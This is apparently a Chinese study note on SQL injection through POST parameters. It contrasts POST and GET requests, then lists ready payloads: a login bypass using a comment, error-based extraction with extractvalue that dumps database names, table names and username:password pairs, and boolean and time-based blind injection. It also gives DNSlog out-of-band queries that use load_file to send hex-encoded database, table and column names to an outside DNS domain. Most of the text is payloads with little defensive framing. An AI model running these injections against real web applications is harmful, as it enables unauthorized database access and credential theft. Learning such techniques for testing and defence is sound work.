学习SQL注入SQL注入之POST提交注入
FLYFISHPOST提交和GET提交的区别
| POST提交 |
GET提交 |
| 不可缓存 |
可缓存 |
| 不可保留在浏览记录 |
可保留在浏览记录 |
| 不可收藏为书签 |
可收藏为书签 |
| 没有长度限制 |
有长度限制(最长2048个字符) |
POST注入原理
核心漏洞原因
用户输入未过滤:后端直接将用户通过 POST 提交的参数拼接到 SQL 语句中。
举例
1 2 3 4 5 6 7
| #原始SQL SELECT * FROM users WHERE username='$_POST[username]' AND password='$_POST[password]' #攻击输入 admin' -- +&&password=123(任意值) #此时系统的查询语句 SELECT * FROM users WHERE username='admin' -- ' AND password='123' #注释符
|
POST提交UNION注入
与GET提交类似
判断闭合符号也类似,用相同的方法即可
参考上方举例
POST提交报错注入
1 2 3 4 5 6 7 8
| 获取库名 username= AND extractvalue(1, concat(0x7e, (SELECT database()))) 获取表名 username= AND extractvalue(1, concat(0x7e, (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))) 提取数据 username= AND extractvalue(1, concat(0x7e, (SELECT group_concat(username, 0x3a, password) FROM users LIMIT 0,1)))
|
盲注
布尔盲注
1
| passwprd=123&uname=aaa' or ascii(substring((select database()),1,1))>=110 #
|
时间盲注
1
| passwprd=123&uname=aaa' or if(ascii(substring((select database()),1,1))>=110 sleep(0),sleep(2))#查询第一个字符的ascii编码,若查询为真,立即响应,若查询为假,延迟响应
|
DNSlog
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| [触发DNS的函数](CONCAT('[子域名前缀]', (SELECT 查询语句), '[DNSlog域名]'))
获取库名 uname=adm and (select load_file(concat("//",(select HEX(database()),".DNS路径/1.txt(随意文件名)"))) 再从DNSlog.cn网站获取内容 获取表名 uname=adm and (SELECT LOAD_FILE(CONCAT('//',(SELECT HEX(table_name) FROM information_schema.tables WHERE table_schema='目标库名' LIMIT 0,1),".DNS路径/1.txt(随意文件名)"))) 获取列名 uname=adm AND (SELECT LOAD_FILE(CONCAT('//',(SELECT HEX(column_name) FROM information_schema.columns WHERE table_name='目标表名' AND table_schema='目标库名' LIMIT 0,1),".DNS路径/1.txt(随意文件名)")))
使用 HEX 编码绕过特殊字符限制(如@,空格) 使用limit 0,1 强制查询返回第一行结果,确保注入语句语法正确
|
注意事项
权限与配置
MySQL 需启用 secure_file_priv(默认禁用),可通过以下命令检查:
SHOW VARIABLES LIKE 'secure_file_priv';
若返回 NULL,需在 my.cnf 中设置 secure_file_priv = ‘’ 并重启服务。
查询是否可以使用dnslog注入
http://example.com?id=1' UNION SELECT 1,@@secure_file_priv,3 --